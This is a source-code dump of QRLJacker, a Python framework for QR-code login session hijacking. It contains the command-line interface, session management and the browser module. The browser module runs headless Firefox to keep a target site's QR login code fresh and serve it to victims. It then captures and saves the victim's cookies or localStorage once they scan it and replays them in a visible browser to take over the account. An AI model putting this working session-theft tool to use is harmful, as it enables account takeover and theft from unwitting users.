| all_keywords = [ 11 | "help","?","os","banner","exit","quit", 12 | "list","show","use","info","previous","search","sessions","jobs", 13 | "database","debug","dev","verbose","reload","refresh", 14 | "history","makerc","resource" 15 | ] 16 | help_msg = end+G+""" 17 | General commands 18 | ================= 19 | Command Description 20 | --------- ------------- 21 | help/? Show this help menu. 22 | os Execute a system command without closing the framework 23 | banner Display banner. 24 | exit/quit Exit the framework. 25 | 26 | Core commands 27 | ============= 28 | Command Description 29 | --------- ------------- 30 | database Prints the core version, check if framework is up-to-date and update if you are not up-to-date. 31 | debug Drop into debug mode or disable it. (Making identifying problems easier) 32 | dev Drop into development mode or disable it. (Reload modules every use) 33 | verbose Drop into verbose mode or disable it. (Make framework displays more details) 34 | reload/refresh Reload the modules database. 35 | 36 | Resources commands 37 | ================== 38 | Command Description 39 | --------- ------------- 40 | history Display commandline most important history from the beginning. 41 | makerc Save the most important commands entered since start to a file. 42 | resource Run the commands stored in a file. 43 | 44 | Sessions management commands 45 | ============================ 46 | Command Description 47 | --------- ------------- 48 | sessions (-h) Dump session listings and display information about sessions. 49 | jobs (-h) Displays and manages jobs."""+end 50 | 51 | module_help = G+""" 52 | 53 | Module commands 54 | =============== 55 | Command Description 56 | --------- ------------- 57 | list/show List modules you can use. 58 | use Use an available module. 59 | info Get information about an available module. 60 | previous Runs the previously loaded module. 61 | search Search for a module by a specific text in its name or in its description. 62 | """+end 63 | 64 | # To use with session command 65 | sessions_parser = argparse.ArgumentParser(prog="sessions",add_help=False) 66 | sessions_parser.add_argument('-h', action="store_true", help="Show this help message.") # I done that because print the normal help exits the framework 67 | sessions_parser.add_argument('-l', action="store_true", help='List all captured sessions.') 68 | sessions_parser.add_argument('-K', action="store_true", help='Remove all captured sessions.') 69 | sessions_parser.add_argument('-s', metavar='', help='Search for sessions with a specifed type.') 70 | sessions_parser.add_argument('-k', metavar='', help='Remove a specifed captured session by ID') 71 | sessions_parser.add_argument('-i', metavar='', help='Interact with a captured session by ID.') 72 | # Yeah, you must have noticed that I'm trying to make sessions arguments are the same as metasploit to not make you feel weird :D 73 | 74 | def general_commands(command, args=None, full_help=module_help): 75 | 76 | if command=="banner": 77 | utils.banner(modules) 78 | return True 79 | 80 | elif command=="history": 81 | n = -1 82 | for i in range( len(Settings.history) ): 83 | print( Settings.history[n] ) 84 | n -= 1 85 | return True 86 | 87 | elif command=="makerc": 88 | file_name = "history.txt" 89 | if args and len(args.split(" "))>0: 90 | file_name = args.split(" ")[0] 91 | f = open(file_name,"w") 92 | for line in Settings.history: 93 | f.write(line+"\n") 94 | f.close() 95 | status( "Command history saved to "+file_name ) 96 | return True 97 | 98 | elif command in ["help","?"]: 99 | print(help_msg+full_help) 100 | return True 101 | 102 | elif command in ["exit","quit"]: 103 | if Settings.headless_browser: 104 | Settings.headless_browser.close_all() 105 | Settings.headless_browser = None 106 | exit(0) 107 | 108 | else: 109 | return False 110 | 111 | chars_filter = { ";":"{{Semi-Colon}}" } # Here we add all the chars that may do some problems while processing 112 | def start(rc=False): 113 | myinput = utils.getinput() 114 | utils.Input_completer(all_keywords+modules ) 115 | while True: 116 | if sys.stdin.closed or sys.stdout.closed: 117 | exit(0) 118 | try: 119 | name = Settings.name 120 | if rc: 121 | cmd = rc 122 | print("\n"+name+G+" > "+end+cmd) 123 | else: 124 | cmd = myinput("\n"+name+G+" > "+end) 125 | 126 | cmd = cmd.strip() 127 | special_char = False 128 | for q in ["'",'"']: 129 | if cmd.count(q) >=2: 130 | special_char = q 131 | 132 | if special_char: 133 | # Welcome to the new age of the quick shitty special characters filters.. 134 | quoted = cmd.split(special_char)[1] # Get the first thing between quotes 135 | for char in chars_filter: 136 | quoted = quoted.replace(char,chars_filter[char]) 137 | cmd = cmd.replace( cmd.split(special_char)[1].join([special_char]*2), quoted ) 138 | # Not the filter this framework deserves but, the filter it needed..lol 139 | 140 | for c in cmd.split(";"): 141 | for char in chars_filter: 142 | c = c.replace(chars_filter[char],char) # Yeah reversing 143 | if len( cmd.split(";") ) > 1: 144 | print(G+" > "+end+ c) 145 | if Settings.running_module: 146 | module.handle(c) 147 | continue 148 | 149 | head = c.lower().split()[0] 150 | args = " ".join(c.split()[1:]) 151 | 152 | if not general_commands(head, args=args): 153 | command_handler(c) 154 | except KeyboardInterrupt: 155 | print() 156 | error("KeyboardInterrupt use exit command!") 157 | continue 158 | except Exception as e: 159 | if Settings.debug: 160 | print("\nInput function error:") 161 | print(" Exception -> "+str(e)) 162 | print(" Input -> "+str(cmd)) 163 | print(" Trackback -> ") 164 | traceback.print_exc() 165 | break 166 | finally: 167 | if rc: 168 | time.sleep(0.3) 169 | break 170 | 171 | #A function for every command (helpful in the future) 172 | def command_handler(c): 173 | #parsing a command and pass to its function 174 | if c=="" or c[0]=="#":return 175 | command = c.lower().split()[0] 176 | args = " ".join(c.split()[1:]) 177 | try: 178 | handler = globals()["command_{}".format(command)] 179 | handler(args) 180 | Settings.update_history(c) # Log the important commands and the ones that doesn't gave error :D 181 | except Exception as e: 182 | if command not in all_keywords: 183 | error( command + " is not recognized as an internal command !") 184 | #To check for the wanted command on typos 185 | wanted = utils.grab_wanted(command,all_keywords) 186 | if len(wanted)>0: 187 | status( "Maybe you meant : " + wanted ) 188 | else: 189 | error( "Error in executing command "+ command ) 190 | status( "Type help or ? to learn more..") 191 | 192 | if Settings.debug: 193 | print("Exception -> "+str(e)) 194 | print(" Input -> "+str(c)) 195 | print(" Modules -> "+" ".join(modules)) 196 | print("Trackback -> ") 197 | traceback.print_exc() 198 | 199 | def command_list(text=False): 200 | cols = [G+Bold+"Name"+end,G+Bold+"Description"+end] 201 | Columns = [] 202 | for p in modules: 203 | info = db.grab(p) 204 | Columns.append([p ,info.short_description]) 205 | utils.create_table(cols,Columns) 206 | 207 | def command_show(text=False): 208 | command_list(text) 209 | 210 | def command_search(text=False): 211 | if not text: 212 | error("You must enter a text to search for !") 213 | else: 214 | cols = [G+Bold+"Name"+end,G+Bold+"Description"+end] 215 | Columns = [] 216 | text = text.lower() 217 | for p in modules: 218 | info = db.grab(p) 219 | full_text = " ".join([info.author, info.short_description, info.full_description if info.full_description else ""]).lower() 220 | if text in full_text: 221 | Columns.append([p ,info.short_description]) 222 | if not Columns: 223 | error("Didn't find a module have the entered text!") 224 | else: 225 | utils.create_table(cols,Columns) 226 | 227 | def command_os(text=False): 228 | if text: 229 | os.system(text) 230 | else: 231 | error("You must enter a command to execute !") 232 | return 233 | 234 | def command_use(p=False): 235 | p = p.lower() 236 | if not p: 237 | error("You must enter a module to use !") 238 | return 239 | else: 240 | if p in modules: 241 | if Settings.running_module: 242 | Settings.update_previous() 243 | Settings.running_module = p 244 | module.Exec(all_keywords) 245 | return 246 | else: 247 | if Settings.debug: 248 | print("Module -> "+p) 249 | print("Loaded modules ->"+"\t".join(modules)) 250 | error(p+" module not found!") 251 | 252 | def command_sessions(text=""): 253 | sessions_file = os.path.join("core","sessions.json") 254 | sessions = json.load(open( sessions_file )) 255 | try: 256 | cmd = sessions_parser.parse_args(text.split()) 257 | except: 258 | cmd = sessions_parser.parse_args("") # Fuck you argparse, next time I will use more flexible module like getopt globally 259 | # I done this because any error argparse gives is printed and it exit the framework but now no 260 | 261 | if cmd.h: 262 | print(sessions_parser.format_help()) 263 | return 264 | 265 | elif not text or cmd.l: 266 | if not sessions: 267 | error("No captured sessions.") 268 | else: 269 | cols = [G+Bold+"ID"+end, G+Bold+"Module name"+end,G+Bold+"Captured on"+end] 270 | Columns = [] 271 | for session_id in list(sessions.keys()): 272 | line = sessions[session_id] 273 | date = line["session_path"].replace( os.path.join("sessions",""),"").replace(".session","") 274 | Columns.append([session_id, line["name"], date]) 275 | utils.create_table(cols,Columns) 276 | 277 | elif cmd.i: 278 | if not sessions: 279 | error("No captured sessions.") 280 | else: 281 | if not cmd.i: 282 | error("Enter a session ID to interact with!") 283 | elif cmd.i not in list(sessions.keys()): 284 | error("Invalid session ID!") 285 | else: 286 | if not Settings.visible_browser: 287 | Settings.visible_browser = browser.visible_browsers() 288 | status(f"Starting interaction with ({cmd.i})...") 289 | if sessions[cmd.i]["session_type"] == "localStorage": 290 | Settings.visible_browser.load_localstorage(cmd.i) 291 | else: 292 | Settings.visible_browser.load_cookie(cmd.i) 293 | 294 | elif cmd.k: 295 | if not sessions: 296 | error("No captured sessions.") 297 | else: 298 | if not cmd.k: 299 | error("Enter a session ID to interact with!") 300 | elif cmd.k not in list(sessions.keys()): 301 | error("Invalid session ID!") 302 | else: 303 | session_file = sessions[cmd.k]["session_path"] 304 | os.remove(session_file) 305 | sessions.pop(cmd.k) 306 | f = open( sessions_file,"w" ) 307 | json.dump(sessions, f, indent=2) 308 | f.close() 309 | status(f"Session ({cmd.k}) removed!") 310 | 311 | elif cmd.s: 312 | if not sessions: 313 | error("No captured sessions.") 314 | else: 315 | if not cmd.s: 316 | error("Enter a session type to filter with!") 317 | elif cmd.s not in [ sessions[i]["name"] for i in list(sessions.keys()) ]: 318 | error("Invalid session type!") 319 | else: 320 | cols = [G+Bold+"ID"+end, G+Bold+"Captured on"+end] 321 | Columns = [] 322 | for session_id in list(sessions.keys()): 323 | line = sessions[session_id] 324 | if cmd.s == line["name"]: 325 | date = line["session_path"].replace( os.path.join("sessions",""),"").replace(".session","") 326 | Columns.append([session_id, date]) 327 | utils.create_table(cols,Columns) 328 | 329 | elif cmd.K: 330 | if not sessions: 331 | error("No captured sessions.") 332 | else: 333 | for sess in list(sessions.keys()): 334 | session_file = sessions[sess]["session_path"] 335 | os.remove(session_file) 336 | f = open( sessions_file,"w" ) 337 | json.dump({}, f, indent=2) 338 | f.close() 339 | status(f"All captured sessions removed!") 340 | 341 | def command_jobs(process=""): 342 | help_command = """ 343 | usage: jobs [-h] [-l] [-K] [-k] 344 | 345 | optional arguments: 346 | -h Show this help message. 347 | -l List all running jobs. 348 | -K Terminate all running jobs. 349 | -k Terminate jobs by job ID or module name""" 350 | 351 | if process=="-h": 352 | print(help_command) 353 | return 354 | 355 | else: 356 | if not Settings.headless_browser or Settings.headless_browser.browsers=={}: 357 | error("No active jobs.") 358 | return 359 | 360 | option = process.split()[:1] 361 | args = process.split()[1:] 362 | if not process or option[0] =="-l": 363 | cols = [G+Bold+"ID"+end, G+Bold+"Module name"+end,G+Bold+"Serving on"+end] 364 | Columns = [] 365 | for module_name in list(Settings.headless_browser.browsers.keys()): 366 | line = Settings.headless_browser.browsers[module_name] 367 | if Settings.headless_browser.browsers[module_name]["Status"]: 368 | uri = line["host"]+":"+line["port"] 369 | Columns.append([line["Controller"].session_id, module_name, uri]) 370 | if Columns: 371 | utils.create_table(cols,Columns) 372 | else: 373 | error("No active jobs.") 374 | 375 | elif option[0]=="-k": 376 | if not args: 377 | error("Enter a job ID/module name to terminate!") 378 | else: 379 | for module_name in list(Settings.headless_browser.browsers.keys()): 380 | if Settings.headless_browser.browsers[module_name]["Controller"].session_id == args[0]: 381 | Settings.headless_browser.close_job(module_name) 382 | status("Job terminated successfully!") 383 | return 384 | for module_name in list(Settings.headless_browser.browsers.keys()): 385 | if module_name == args[0]: 386 | Settings.headless_browser.close_job(module_name) 387 | status("Job terminated successfully!") 388 | return 389 | error("Job not found!") 390 | 391 | elif option[0] == "-K": 392 | Settings.headless_browser.close_all() 393 | Settings.headless_browser = None 394 | status("All jobs terminated successfully!") 395 | 396 | else: 397 | error("Invalid option!") 398 | 399 | def command_previous(p=False): 400 | if len(Settings.previous)!=0: 401 | prev = Settings.previous.pop(-1) 402 | command_use(prev) 403 | else: 404 | error("You haven't used a modules yet !") 405 | 406 | def command_resource(p=False): 407 | try: 408 | with open(p,"r") as f: 409 | cmds = f.readlines() 410 | for cmd in cmds: 411 | start(cmd.strip()) 412 | except: 413 | if not p: 414 | error("Enter a resource file to read!") 415 | else: 416 | if Settings.debug: 417 | print(" Input -> "+str(p)) 418 | print(" Dir -> "+str(os.getcwd())) 419 | error("Can't open the specifed resource file!") 420 | return 421 | 422 | def command_info(p=False): 423 | if not p: 424 | error("You must enter a module to get it's information !") 425 | return 426 | p = p.lower() 427 | if p in modules: 428 | info = db.grab(p) 429 | print( " Module : " + utils.humanize(p) ) 430 | print( " Provided by : " + info.author ) 431 | if info.full_description: 432 | print( " Description : " + info.full_description ) 433 | else: 434 | print( " Description : " + info.short_description ) 435 | else: 436 | error(p+" module not found!") 437 | 438 | def command_reload(text=False): 439 | global modules 440 | modules = db.index_modules() 441 | status("Database updated! ( {} module(s) loaded now )".format( len(modules) ) ) 442 | utils.Input_completer(all_keywords+utils.my_map(lambda x: utils.pythonize(x).split(".")[-1],modules) ) 443 | 444 | def command_refresh(text=False): 445 | command_reload(text) 446 | 447 | def command_database(text=False): 448 | status("Checking...") 449 | v = open(os.path.join(Settings.path, "core", "Data", "version.txt")).read().strip() 450 | status("Core database "+Y+v) 451 | lol = utils.check_version() 452 | if lol and lol==v: 453 | status("You are up-to-date!") 454 | elif not lol: 455 | error("Error in connection! Check your internet!") 456 | else: 457 | error("The latest core database is "+lol) 458 | status("Updating...") 459 | os.chdir("..") 460 | os.popen("git pull") 461 | os.chdir("QRLJacker") 462 | status("Framework updated successfully!") 463 | 464 | def command_exec(text=False): # A hidden command to use in debugging :D 465 | if Settings.debug and text: 466 | exec(text) 467 | 468 | def command_eval(text=False): # Aaaaaand another hidden one :D 469 | if Settings.debug and text: 470 | eval(text) 471 | 472 | def command_report(text=False): 473 | if Settings.debug: 474 | if Settings.headless_browser: 475 | for key in Settings.headless_browser.browsers: 476 | print("Key: "+key) 477 | print("Data: ") 478 | print(Settings.headless_browser.browsers[key]["Controller"].capabilities) 479 | break 480 | 481 | # if its value is False the result will be mode=(False==False) so the mode will be True and so on, yup it's magic :D 482 | def command_debug(text=False): 483 | Settings.debug = (Settings.debug==False) 484 | status("Debug mode " + {True:"enabled!",False:"disabled!"}[Settings.debug] ) 485 | 486 | def command_dev(text=False): 487 | Settings.development = (Settings.development==False) 488 | status("Development mode " + {True:"enabled!",False:"disabled!"}[Settings.development] ) 489 | 490 | def command_verbose(text=False): 491 | Settings.verbose = (Settings.verbose==False) 492 | status("Verbose mode " + {True:"enabled!",False:"disabled!"}[Settings.verbose] ) 493 | -------------------------------------------------------------------------------- /core/QRLJacker/core/Data/banners.txt: -------------------------------------------------------------------------------- 1 | _ 2 | / \ __ _\( )/_ 3 | \ \ ,, / / | / \ | /(O)\ 4 | '-.`\()/`.-' \_\\ //_/ _.._ _\(o)/_ // \\ 5 | .--_'( )'_--. .'/()\'. .' '. /(_)\ _\\()//_ 6 | / /` /`""`\ `\ \ \\ // / __ \ / // \\ \ 7 | | | >< | | , | >< | , | \__/ | 8 | \ \ / / . \ \ / / . _ 9 | _ '.__.' _\(O)/_ \_'--`( )'--'_/ __ _\(_)/_ 10 | _\( )/_ /(_)\ .--'/()\'--. | / \ | /(O)\ 11 | /(O)\ // \\ _ / /` '' `\ \ \_\\ //_/ {Name} 12 | _\\()//_ _\(_)/_ | | //()\\ {Description} 13 | / // \\ \ /(o)\ \ / \\ // {Loaded} 14 | | \__/ | GANG BANG!! 15 | $$$$$AnyShIt$$$$$$ 16 | _____________________________________ 17 | !\/ ! \/ ./ 18 | !/\ ! |\ ./ 19 | ! \ ! / \ ./ 20 | ! \______!______| \ ,/ 21 | ! /\ ! ./\ ,/ 22 | ! / \ ! | \ ,/ 23 | !/ \___!____| ,/ Everything is connected, even the simplest things! 24 | ! / \ _!__ *\,/ 25 | ! ! \ ! \,/ 26 | ! ! | \! ,/ 27 | !----------K/ 28 | ! ! ,! /| {Name} 29 | ! !/ / | {Description} 30 | ! / \ / | {Loaded} 31 | !\./ \/ | 32 | !/\ / | 33 | ! \ / .o. 34 | ! \/ :O: 35 | ! / " 36 | ! / 37 | ! / 38 | !/ 39 | ! 40 | ! 41 | ! 42 | $$$$$AnyShIt$$$$$$ 43 | :'#######::'########::'##:::::::::::::'##::::'###:::::'######::'##:::'##:'########:'########:: 44 | '##.... ##: ##.... ##: ##::::::::::::: ##:::'## ##:::'##... ##: ##::'##:: ##.....:: ##.... ##: 45 | ##:::: ##: ##:::: ##: ##::::::::::::: ##::'##:. ##:: ##:::..:: ##:'##::: ##::::::: ##:::: ##: 46 | ##:::: ##: ########:: ##::::::::::::: ##:'##:::. ##: ##::::::: #####:::: ######::: ########:: {Name} 47 | ##:'## ##: ##.. ##::: ##:::::::'##::: ##: #########: ##::::::: ##. ##::: ##...:::: ##.. ##::: {Description} 48 | ##:.. ##:: ##::. ##:: ##::::::: ##::: ##: ##.... ##: ##::: ##: ##:. ##:: ##::::::: ##::. ##:: {Loaded} 49 | : ##### ##: ##:::. ##: ########:. ######:: ##:::: ##:. ######:: ##::. ##: ########: ##:::. ##: 50 | :.....:..::..:::::..::........:::......:::..:::::..:::......:::..::::..::........::..:::::..:: 51 | $$$$$AnyShIt$$$$$$ 52 | ========== 53 | == == 54 | = ==== = 55 | = ==== = 56 | = ==== = {Name} 57 | = ==== = {Description} 58 | = ==== = {Loaded} 59 | = = = = 60 | = == = 61 | == == 62 | ========== 63 | $$$$$AnyShIt$$$$$$ 64 | ▄▄▄▄▄▄▄ ▄ ▄▄ ▄▄▄▄▄▄▄ 65 | █ ▄▄▄ █ ██ ▀▄ █ ▄▄▄ █ 66 | █ ███ █ ▄▀ ▀▄ █ ███ █ 67 | █▄▄▄▄▄█ █ ▄▀█ █▄▄▄▄▄█ 68 | ▄▄ ▄ ▄▄▀██▀▀ ▄▄▄ ▄▄ 69 | ▄██ ▀ ▄ █▄▀ ▄ ▄█▀▀ ▄ {Name} 70 | █▀█▄▄█▄ ▀▀▄▀▄▄▀ ▀▀▄ █ {Description} 71 | ▄▄▄▄▄▄▄ █ ▄▀ ▄█▄▄██ {Loaded} 72 | █ ▄▄▄ █ ▄▄█▀█▄ ▀ ▄▄ 73 | █ ███ █ ▀▀█▀▄ ██ ▀▀█ 74 | █▄▄▄▄▄█ █▀ ▄▄▀▀ █▄ ▄ 75 | -------------------------------------------------------------------------------- /core/QRLJacker/core/Data/version.txt: -------------------------------------------------------------------------------- 1 | 2.1.1 2 | -------------------------------------------------------------------------------- /core/QRLJacker/core/Settings.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3.7 2 | # Here I put all the constant things between the scripts so I don't forget them 3 | # Also give myself another reason to start refactoring the whole code in OOP :D 4 | 5 | from core.color import * 6 | global debug,development,verbose 7 | global path,history,running_module,name,headless_browser,visible_browser 8 | global previous 9 | path = None # The core directory we started in 10 | debug = False # Framework mode 11 | development = False # Framework mode 12 | verbose = False # Framework mode 13 | running_module = False # The current running module and used to decide which cli to use 14 | headless_browser = False # The current instance of my headless browser class 15 | visible_browser = False # The current instance of my visible browser class 16 | previous = [] # All modules used before, using this in previous command 17 | history = [] # Used in commands history ofc! 18 | 19 | # I know I could use simply use `list.append(element)` but this way looks cooler :"D 20 | update_history = lambda h:history.append(h) 21 | update_previous = lambda:previous.append(running_module) 22 | 23 | name = W+underline+"QrlJacker"+end 24 | def add_module(p): global name;name = W+underline+"QrlJacker"+end+ W+" Module("+R+p+W+")"+end # Fuck lambda 25 | def reset_name() : global name;name = W+underline+"QrlJacker"+end 26 | -------------------------------------------------------------------------------- /core/QRLJacker/core/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Erik172/Z0172CK-Tools/a9c031d1ce37c3713b4b535fdc15d2d33d974cb8/core/QRLJacker/core/__init__.py -------------------------------------------------------------------------------- /core/QRLJacker/core/browser.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3.7 2 | from selenium.webdriver import Firefox,FirefoxProfile 3 | from selenium.webdriver.firefox.options import Options 4 | from user_agent import generate_user_agent 5 | from core.color import * 6 | from core.module_utils import * 7 | from core import Settings 8 | import os, pickle, json, time, threading, functools, traceback 9 | 10 | # In Sessions folder we have a json file contains all data about sessions like ids and cookie file path that saved with pickle 11 | 12 | def generate_profile(useragent="(default)"): 13 | profile = FirefoxProfile() 14 | if useragent.strip().lower()=="(default)": 15 | status("Using the default useragent") 16 | return profile 17 | elif useragent.strip().lower()=="(random)": 18 | random_useragent = generate_user_agent(os=('mac', 'linux')) 19 | profile.set_preference("general.useragent.override", random_useragent) # To make our useragent random 20 | status("Using random useragent "+random_useragent) 21 | return profile 22 | else: 23 | profile.set_preference("general.useragent.override", useragent) 24 | status("Using useragent "+useragent) 25 | return profile 26 | 27 | def Run_inside_thread(thread_name): 28 | def hook(func): 29 | @functools.wraps(func) 30 | def wrapper(*args, **kwargs): 31 | thread = threading.Thread(target=func, name=thread_name, args=args, kwargs=kwargs) 32 | thread.daemon = True 33 | thread.start() 34 | return wrapper 35 | return hook 36 | 37 | class headless_browsers: 38 | # Here we create invisble browsers, fast and in an organized way without repeating browsers for the same module 39 | def __init__(self): 40 | self.opts = Options() 41 | self.opts.add_argument("--headless") # To make firefox invisible of course (Headless) 42 | self.browsers = {} # Here we save all the browsers we create so we can control and use later 43 | self.useragent = "" 44 | self.sessions_file = os.path.join("core","sessions.json") 45 | 46 | def new_session(self, module_name, url, useragent="(random)"): 47 | if self.browsers!={} and module_name in list(self.browsers.keys()) and self.browsers[module_name]["Status"]: 48 | return {"Status":"Duplicate"} 49 | else: 50 | new_headless = {module_name:{"host":"","port":""}} 51 | 52 | new_headless[module_name]["url"] = url 53 | if not useragent.strip(): # This if condition is useless because module won't let the useragent to be empty but I will leave it just in case... 54 | return {"Status":"Invalid useragent"} 55 | else: 56 | profile = generate_profile(useragent) 57 | try: 58 | #TODO 59 | new_headless[module_name]["Controller"] = None 60 | if Settings.debug: 61 | new_headless[module_name]["Controller"] = Firefox(profile)#options=self.opts) # Inserting the browser object 62 | else: 63 | new_headless[module_name]["Controller"] = Firefox(profile, options=self.opts) # Inserting the browser object 64 | except Exception as e: 65 | if Settings.debug: 66 | print(" Exception: "+str(e)) 67 | print(" Trackback: ") 68 | traceback.print_exc() 69 | return {"Status":"Failed"} 70 | else: 71 | new_headless[module_name]["Status"] = "Success" 72 | self.browsers.update(new_headless) 73 | new_headless[module_name]["Controller"].get(url) 74 | self.useragent = new_headless[module_name]["Controller"].execute_script("return navigator.userAgent;") 75 | return new_headless[module_name] 76 | 77 | @Run_inside_thread("Sessions catcher thread") 78 | def create_listener(self, module_name, change_identifier, session_type): 79 | # If I used another function to run this one as thread, python would be upset :D 80 | # So I'm using a decorator and also it looks cooler :D 81 | try: 82 | status(f"Waiting for sessions on {module_name}") 83 | controller = self.browsers[module_name]["Controller"] 84 | if controller: 85 | while self.browsers[module_name]["Status"] == "Success": 86 | null = controller.find_elements_by_xpath(change_identifier) 87 | if not null: 88 | # If we got here then that means we got session 89 | print() 90 | status(f"Got session on {module_name} module") 91 | if session_type.lower() == "localstorage": 92 | self.save_localstorage(module_name) 93 | else: 94 | self.save_cookie(module_name) 95 | 96 | if Settings.verbose: 97 | status("Reseting browser cookies and localStorage to start over..") 98 | #self.restart_session(self.browsers[module_name]) 99 | controller.delete_all_cookies() 100 | controller.execute_script("window.localStorage.clear()") 101 | controller.refresh() 102 | if Settings.verbose: 103 | status("Session reset successfully") 104 | time.sleep(5) 105 | else: 106 | time.sleep(5) 107 | else: 108 | error(f"Browser controller hasn't been created [{module_name}]") 109 | except: 110 | return 111 | 112 | @Run_inside_thread("QR updater thread") 113 | def website_qr(self, module_name, img_xpath): 114 | # Always download the QR image from the site to use it in the webserver 115 | status(f"Running a thread to keep the QR image [{module_name}]") 116 | controller = self.browsers[module_name]["Controller"] 117 | if controller: 118 | while self.browsers[module_name]["Status"] == "Success": 119 | try: 120 | misc.Screenshot(controller, img_xpath, module_name) 121 | #if Settings.verbose: status(f"QR code image updated! [{module_name}]") 122 | time.sleep(3) 123 | except: 124 | time.sleep(1) 125 | else: 126 | error(f"Browser controller hasn't been created [{module_name}]") 127 | 128 | @Run_inside_thread("Idle detector thread") 129 | def check_img(self, module_name, button_xpath): 130 | # Checks if QR image got blocked by a reloading button and click it 131 | status(f"Running a thread to detect Idle once it happens then click the QR reload button [{module_name}]") 132 | controller = self.browsers[module_name]["Controller"] 133 | if controller: 134 | while self.browsers[module_name]["Status"] == "Success": 135 | try: 136 | btn = controller.find_element_by_xpath(button_xpath) # now it should work 137 | # If we got here then that means we got the button 138 | if Settings.verbose: status(f"Idle detected, Reloading QR code image [{module_name}]") 139 | btn.click() 140 | time.sleep(5) 141 | except: 142 | time.sleep(1) # Yeah we need to be fast 143 | else: 144 | error(f"Browser controller hasn't been created [{module_name}]") 145 | 146 | @Run_inside_thread("Webserver manager thread") 147 | def serve_module(self, module_name, host, port): 148 | # Start a webserver for module and automatically close it when module closed 149 | status(f"Initializing webserver... [{module_name}]") 150 | self.browsers[module_name]["host"] = "http://"+host 151 | self.browsers[module_name]["port"] = str(port) 152 | webserver = server(name=module_name,port=port) 153 | webserver.start_serving(host) 154 | while self.browsers[module_name]["Status"] == "Success": 155 | time.sleep(1) 156 | # Well, the module got stopped 157 | webserver.stop_web_server() 158 | 159 | def save_localstorage(self,module_name): 160 | browser = self.browsers[module_name]["Controller"] 161 | session_file_name = os.path.join( "sessions",time.ctime().replace(" ","-") )+".session" 162 | session_file = open(session_file_name,"wb") 163 | pickle.dump( browser.execute_script("return localStorage"), session_file) 164 | session_file.close() 165 | if Settings.debug: 166 | status("localStorage data saved in "+session_file_name) 167 | # Now let's save session details into sessions file 168 | with open( self.sessions_file ) as f: 169 | try: 170 | sessions = json.load(f) 171 | except: 172 | sessions = {} 173 | 174 | for i in range(0,1000): 175 | if str(i) not in list(sessions.keys()): 176 | session_id = str(i) 177 | break 178 | 179 | session = { 180 | session_id:{ 181 | "name":module_name, 182 | "web_url":self.browsers[module_name]["url"], 183 | "session_type":"localStorage", 184 | "useragent":self.useragent, 185 | "session_path":session_file_name 186 | } 187 | } 188 | sessions.update(session) 189 | f = open( self.sessions_file,"w" ) 190 | json.dump(sessions, f, indent=2) 191 | f.close() 192 | status("Session saved successfully") 193 | 194 | def save_cookie(self,module_name): 195 | # First let's save the browser cookies before anything 196 | browser = self.browsers[module_name]["Controller"] 197 | session_file_name = os.path.join( "sessions",time.ctime().replace(" ","-") )+".session" 198 | session_file = open(session_file_name,"wb") 199 | pickle.dump( browser.get_cookies(), session_file) 200 | session_file.close() 201 | if Settings.debug: 202 | status("Cookies saved in "+session_file_name) 203 | # Now let's save session details into sessions file 204 | with open( self.sessions_file ) as f: 205 | try: 206 | sessions = json.load(f) 207 | except: 208 | sessions = {} 209 | 210 | for i in range(0,1000): 211 | if str(i) not in list(sessions.keys()): 212 | session_id = str(i) 213 | break 214 | 215 | session = { 216 | session_id:{ 217 | "name":module_name, 218 | "web_url":self.browsers[module_name]["url"], 219 | "session_type":"cookie", 220 | "useragent":self.useragent, 221 | "session_path":session_file_name 222 | } 223 | } 224 | sessions.update(session) 225 | f = open( self.sessions_file,"w" ) 226 | json.dump(sessions, f, indent=2) 227 | f.close() 228 | status("Session saved successfully") 229 | 230 | def close_all(self): 231 | if self.browsers!={}: # I'm using this comparsion because it's is faster than comparsion with keys length btw 232 | for module_name in list(self.browsers.keys()): 233 | try: 234 | self.browsers[module_name]["Controller"].close() # To close the browser 235 | except: # Some one played with the browser so it lost control lol 236 | pass 237 | self.browsers[module_name]["Controller"] = None # Reseting the browser controller 238 | self.browsers[module_name]["Status"] = None # To close any listener working on this browser 239 | 240 | def close_job(self, module_name): 241 | if self.browsers!={}: 242 | if module_name in list(self.browsers.keys()): 243 | try: 244 | self.browsers[module_name]["Controller"].close() # To close the browser 245 | except: # Some one played with the browser so it lost control lol 246 | pass 247 | self.browsers[module_name]["Controller"] = None # Reseting the browser controller 248 | self.browsers[module_name]["Status"] = None # To close any listener working on this browser 249 | 250 | class visible_browsers: 251 | # Here we open sessions for user with cookies we already have from sessions 252 | def __init__(self): 253 | self.browsers = [] 254 | self.sessions_file = os.path.join("core","sessions.json") 255 | 256 | def load_localstorage(self, session_id): 257 | sessions = json.load(open( self.sessions_file )) 258 | storage_path = sessions[str(session_id)]["session_path"] 259 | url = sessions[str(session_id)]["web_url"] 260 | # Setting useragent to the same one the session saved with 261 | useragent = sessions[str(session_id)]["useragent"] 262 | profile = FirefoxProfile() 263 | profile.set_preference("general.useragent.override", useragent ) 264 | localStorage = pickle.load(open(storage_path, "rb")) 265 | try: 266 | browser = Firefox(profile) 267 | except: 268 | error("Couldn't open browser to view session!") 269 | return 270 | browser.get(url) 271 | browser.delete_all_cookies() 272 | browser.execute_script("window.localStorage.clear()") # clear the current localStorage 273 | for key,value in localStorage.items(): 274 | browser.execute_script("window.localStorage.setItem(arguments[0], arguments[1]);", key, value) 275 | status(f"Session {session_id} loaded") 276 | browser.refresh() 277 | self.browsers.append(browser) 278 | 279 | def load_cookie(self, session_id): 280 | sessions = json.load(open( self.sessions_file )) 281 | cookie_path = sessions[str(session_id)]["session_path"] 282 | url = sessions[str(session_id)]["web_url"] 283 | # Setting useragent to the same one the session saved with 284 | useragent = sessions[str(session_id)]["useragent"] 285 | profile = FirefoxProfile() 286 | profile.set_preference("general.useragent.override", useragent ) 287 | cookies = pickle.load(open(cookie_path, "rb")) 288 | try: 289 | browser = Firefox(profile) 290 | except: 291 | error("Couldn't open browser to view session!") 292 | return 293 | browser.get(url) 294 | browser.delete_all_cookies() 295 | browser.execute_script("window.localStorage.clear()") # clear the current localStorage 296 | for cookie in cookies: 297 | browser.add_cookie(cookie) 298 | status(f"Session {session_id} loaded") 299 | browser.refresh() 300 | self.browsers.append(browser) 301 | -------------------------------------------------------------------------------- /core/QRLJacker/core/color.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3.7 2 | # -*- coding: utf-8 -*- 3 | #Written by: Karim shoair - D4Vinci ( QrlJacker-Framework ) 4 | import os,sys 5 | #green - yellow - 